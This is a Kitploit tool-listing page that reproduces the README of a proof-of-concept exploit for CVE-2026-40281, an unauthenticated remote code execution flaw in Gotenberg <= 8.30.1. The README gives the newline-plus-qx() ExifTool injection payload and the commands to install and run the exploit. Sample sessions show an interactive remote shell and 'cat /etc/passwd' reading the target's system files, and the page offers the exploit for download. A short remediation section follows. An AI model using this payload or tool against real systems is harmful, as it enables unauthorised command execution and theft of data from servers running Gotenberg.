Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/0xgh057r3c0n/cve-2026-40281
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingCommand and ControlRemote Access Tool
GitHub0xgh057r3c0n/cve-2026-40281

CVE-2026-40281

Python proof-of-concept exploit for CVE-2026-40281, an unauthenticated argument injection RCE in Gotenberg <= 8.30.1, with interactive shell and single-command execution.

View Repository
1 month agoNot yet reviewed
Share

Gotenberg Logo

CVE-2026-40281

Gotenberg <= 8.30.1 — Unauthenticated Remote Code Execution

CVE CVSS CWE Author License


📖 Table of Contents

  • 📖 Overview
  • 🔍 Vulnerability Details
  • ⚙️ Installation
  • 🚀 Usage
  • 🛡️ Remediation
  • 📁 Repository Structure
  • 🔗 References
  • 👤 Author
  • ⚠️ Disclaimer
  • 📄 License

📖 Overview

Gotenberg is a Docker-powered stateless API for converting documents to PDF. It exposes a /forms/pdfengines/metadata/write endpoint that allows writing metadata into PDF files.

This repository contains a proof-of-concept exploit for CVE-2026-40281, a critical argument injection vulnerability in Gotenberg versions 8.30.1 and earlier. The flaw allows an unauthenticated attacker to execute arbitrary operating system commands on the Gotenberg container through a single HTTP request.

🚨 Note: The vulnerability was disclosed on May 6, 2026, and assigned a CVSS score of 9.1 (NVD) / 10.0 (GitHub Advisory). It is a bypass of the incomplete key-sanitization fix introduced in v8.30.1 (commit 405f106).


🔍 Vulnerability Details

🧠 Root Cause

Gotenberg's metadata write endpoint validates metadata keys for control characters but leaves metadata values unvalidated. When metadata is passed to ExifTool, a newline character inside a metadata value splits the ExifTool stdin line into two separate arguments. This allows an attacker to inject arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, and -HardLink.

Furthermore, by injecting an advanced formatting expression using qx() (Perl's quote-execute operator), an attacker can execute arbitrary OS commands and read the output from the returned PDF.

⛓️ Attack Chain

  1. 🎯 Attacker sends a crafted POST request to /forms/pdfengines/metadata/write with a PDF file and a metadata JSON payload.
  2. 💥 The Title metadata value contains a literal newline followed by an ExifTool advanced formatting expression: -Title<${PDFVersion;$_=qx(COMMAND)}>.
  3. 🐚 ExifTool reads the metadata from stdin; the newline terminates the current argument and starts a new one, executing the injected qx() command.
  4. 📄 The command output is embedded into the returned PDF, which the attacker can extract.

📊 Affected Versions

ComponentAffectedFixed
github.com/gotenberg/gotenberg/v8< v8.31.0v8.31.0
github.com/gotenberg/gotenberg/v7All versions—

📈 CVSS v3.1 Metrics

MetricValue
Attack Vector (AV)Network (N)
Attack Complexity (AC)Low (L)
Privileges Required (PR)None (N)
User Interaction (UI)None (N)
Confidentiality (C)None (N)
Integrity (I)High (H)
Availability (A)High (H)
Base Score9.1 (Critical)

⚙️ Installation

📋 Prerequisites

  • 🐍 Python 3.6+ installed
  • 📦 pip package manager
  • 🌐 Network access to the target Gotenberg instance

🔽 Step 1 — Clone the Repository

git clone https://github.com/0xgh057r3c0n/CVE-2026-40281.git
cd CVE-2026-40281

📥 Step 2 — Install Dependencies

Option A — Using requirements.txt (recommended):

pip install -r requirements.txt

Option B — Manual installation:

pip install requests urllib3 colorama

✅ Step 3 — Verify Installation

python3 CVE-2026-40281.py --help

You should see the banner and usage information.


🚀 Usage

The exploit supports two modes: automatic detection + interactive shell, and single command execution.

🖥️ Interactive Shell (Default)

If the target is vulnerable, the tool automatically drops into an interactive shell:

python3 CVE-2026-40281.py -u http://target:3000
                          _____________   _______________         _______________   ________  ________            _____  _______   ________   ______  ____
                         \_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \/  _____/           /  |  | \   _  \  \_____  \ /  __  \/_   |
                         /    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/   __  \   ______  /   |  |_/  /_\  \  /  ____/ >      < |   |
                         \     \____\     /   |        \ /_____/ /       \  \_/   \/       \  |__\  \ /_____/ /    ^   /\  \_/   \/       \/   --   \|   |
                          \______  / \___/   /_______  /         \_______ \_____  /\_______ \_____  /         \____   |  \_____  /\_______ \______  /|___|
                                 \/                  \/                  \/     \/         \/     \/               |__|        \/         \/      \/

                                                 Gotenberg <= 8.30.1 unauthenticated RCE
                                                       Author: 0xgh057r3c0n

[*] Target : http://target:3000/forms/pdfengines/metadata/write
[*] Checking target ...
[*] Vulnerable. Running as: uid=1000(gotenberg) gid=1000(gotenberg) groups=1000(gotenberg)
[*] Dropping into interactive shell (type 'exit' to quit)

┌─[target:3000@0xgh057r3c0n]─[~]
└──╼ $id
uid=1000(gotenberg) gid=1000(gotenberg) groups=1000(gotenberg)
┌─[target:3000@0xgh057r3c0n]─[~]
└──╼ $uname -a
Linux 3f9a1c7b2d10 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 GNU/Linux
┌─[target:3000@0xgh057r3c0n]─[~]
└──╼ $exit

🎯 Single Command Execution

python3 CVE-2026-40281.py -u https://target:3000 --cmd "cat /etc/passwd"
┌─[target:3000@0xgh057r3c0n]─[~]
└──╼ $cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
gotenberg:x:1000:1000::/home/gotenberg:/bin/bash

🔒 SSL Notice: Certificate verification is disabled by default (verify=False) to support self-signed certificates commonly found in internal deployments.

📝 Command-Line Options

FlagDescription
-u, --urlTarget base URL (required). Supports http:// and https://.
--cmdExecute a single command and exit (skips interactive shell).

🛡️ Remediation

Upgrade to Gotenberg v8.31.0 or later, which validates metadata values in addition to metadata keys.

docker pull gotenberg/gotenberg:8.31.0

🚧 Interim Mitigations

  • 🔐 Restrict network access to the Gotenberg API to trusted internal services.
  • 🧱 Deploy a WAF rule blocking newline characters (\n, \r) in multipart metadata fields.
  • 👁️ Monitor ExifTool process spawns from the Gotenberg container.

📁 Repository Structure

CVE-2026-40281/
├── CVE-2026-40281.py      # 🐍 Exploit script
├── CVE-2026-40281.yaml    # 🎯 Nuclei template
├── requirements.txt       # 📦 Python dependencies
├── LICENSE                # 📄 MIT License
└── README.md              # 📖 This file

🔗 References

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    370
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →